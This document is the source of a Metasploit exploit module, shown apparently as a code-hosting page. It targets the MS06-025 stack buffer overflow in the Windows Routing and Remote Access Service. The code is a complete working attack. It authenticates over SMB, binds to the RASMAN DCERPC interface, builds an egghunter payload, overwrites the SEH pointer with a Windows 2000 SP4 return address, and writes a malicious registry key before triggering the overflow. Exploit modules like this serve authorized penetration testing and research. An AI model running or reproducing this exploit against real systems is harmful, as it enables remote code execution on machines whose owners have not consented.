Path: blob/master/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Egghunter9include Msf::Exploit::Remote::DCERPC10include Msf::Exploit::Remote::SMB::Client1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'MS06-025 Microsoft RRAS Service RASMAN Registry Overflow',17'Description' => %q{18This module exploits a registry-based stack buffer overflow in the Windows Routing19and Remote Access Service. Since the service is hosted inside svchost.exe,20a failed exploit attempt can cause other system services to fail as well.21A valid username and password is required to exploit this flaw on Windows 2000.22When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'.23Exploiting this flaw involves two distinct steps - creating the registry key24and then triggering an overwrite based on a read of this key. Once the key is25created, it cannot be recreated. This means that for any given system, you26only get one chance to exploit this flaw. Picking the wrong target will require27a manual removal of the following registry key before you can try again:28HKEY_USERS\.DEFAULT\Software\Microsoft\RAS Phonebook29},30'Author' => [ 'pusscat', 'hdm' ],31'License' => BSD_LICENSE,32'References' => [33[ 'CVE', '2006-2370' ],34[ 'OSVDB', '26437' ],35[ 'BID', '18325' ],36[ 'MSB', 'MS06-025' ]37],38'Privileged' => true,39'DefaultOptions' => {40'EXITFUNC' => 'thread'41},42'Payload' => {43'Space' => 512,44'BadChars' => "\x00\x2c\x5c\x2e\x3a\x24",45'StackAdjustment' => -3500,46},47'Platform' => 'win',48'Targets' => [49[ 'Windows 2000 SP4', { 'Ret' => 0x750217ae } ], # call esi50],51'DefaultTarget' => 0,52'DisclosureDate' => '2006-06-13',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)6061register_options(62[63OptString.new('SMBPIPE', [ true, "Rawr.", 'router']),64]65)66end6768# Post authentication bugs are rarely useful during automation69def autofilter70false71end7273def exploit74connect()75smb_login()76print_status("Trying target #{target.name}...")7778# Generate the egghunter payload79hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })80egg = hunter[1]8182# Pick a "filler" character that we know doesn't get mangled83# by the wide string conversion routines84filset = "\xc1\xff\x67\x1b\xd3\xa3\xe7"85fil = filset[rand(filset.length)].chr8687# Bind to the actual DCERPC interface88handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])89print_status("Binding to #{handle}")90dcerpc_bind(handle)91print_status("Bound to #{handle}")9293# Add giant blocks of guard data before and after the egg94eggdata =95fil * 1024 +96egg +97fil * 10249899# Place the egghunter where ESI happens to point100bof = (fil * 178)101bof[84, hunter[0].length] = hunter[0]102103# Overwrite the SEH ptr, even though ESP is smashed104# The handle after the ret must be an invalid address105pat =106(fil * 886) +107NDR.long(target.ret) +108(fil * 3) + "\xc0" +109bof110111type2 =112NDR.string((fil * 1024) + "\x00") +113NDR.string(pat + "\x00") +114NDR.string((fil * 4096) + "\x00") +115NDR.long(rand(0xffffffff)) +116NDR.long(rand(0xffffffff))117118type1 =119NDR.long(rand(0xffffffff)) + # OperatorDial120NDR.long(rand(0xffffffff)) + # PreviewPhoneNumber121NDR.long(rand(0xffffffff)) + # UseLocation122NDR.long(rand(0xffffffff)) + # ShowLights123NDR.long(rand(0xffffffff)) + # ShowConnectStatus124NDR.long(rand(0xffffffff)) + # CloseOnDial125NDR.long(rand(0xffffffff)) + # AllowLogonPhonebookEdits126NDR.long(rand(0xffffffff)) + # AllowLogonLocationEdits127NDR.long(rand(0xffffffff)) + # SkipConnectComplete128NDR.long(rand(0xffffffff)) + # NewEntryWizard129NDR.long(rand(0xffffffff)) + # RedialAttempts130NDR.long(rand(0xffffffff)) + # RedialSeconds131NDR.long(rand(0xffffffff)) + # IdleHangUpSeconds132NDR.long(rand(0xffffffff)) + # RedialOnLinkFailure133NDR.long(rand(0xffffffff)) + # PopupOnTopWhenRedialing134NDR.long(rand(0xffffffff)) + # ExpandAutoDialQuery135NDR.long(rand(0xffffffff)) + # CallbackMode136NDR.long(0x45) + type2 + # Parsed by CallbackListFromRpc137NDR.wstring("\x00" * 129) +138NDR.long(rand(0xffffffff)) +139NDR.wstring("\x00" * 520) +140NDR.wstring("\x00" * 520) +141NDR.long(rand(0xffffffff)) +142NDR.long(rand(0xffffffff)) +143NDR.long(rand(0xffffffff)) +144NDR.long(rand(0xffffffff)) +145NDR.long(rand(0xffffffff)) +146NDR.long(rand(0xffffffff)) +147NDR.long(rand(0xffffffff)) +148NDR.long(rand(0xffffffff)) +149NDR.string("\x00" * 514) +150NDR.long(rand(0xffffffff)) +151NDR.long(rand(0xffffffff))152153stubdata =154type1 +155NDR.long(rand(0xffffffff)) +156eggdata157158print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')159160begin161print_status('Creating the malicious registry key...')162response = dcerpc.call(0xA, stubdata)163164print_status('Attempting to trigger the base pointer overwrite...')165response = dcerpc.call(0xA, stubdata)166rescue Rex::Proto::DCERPC::Exceptions::NoResponse167end168169handler170disconnect171end172end173174175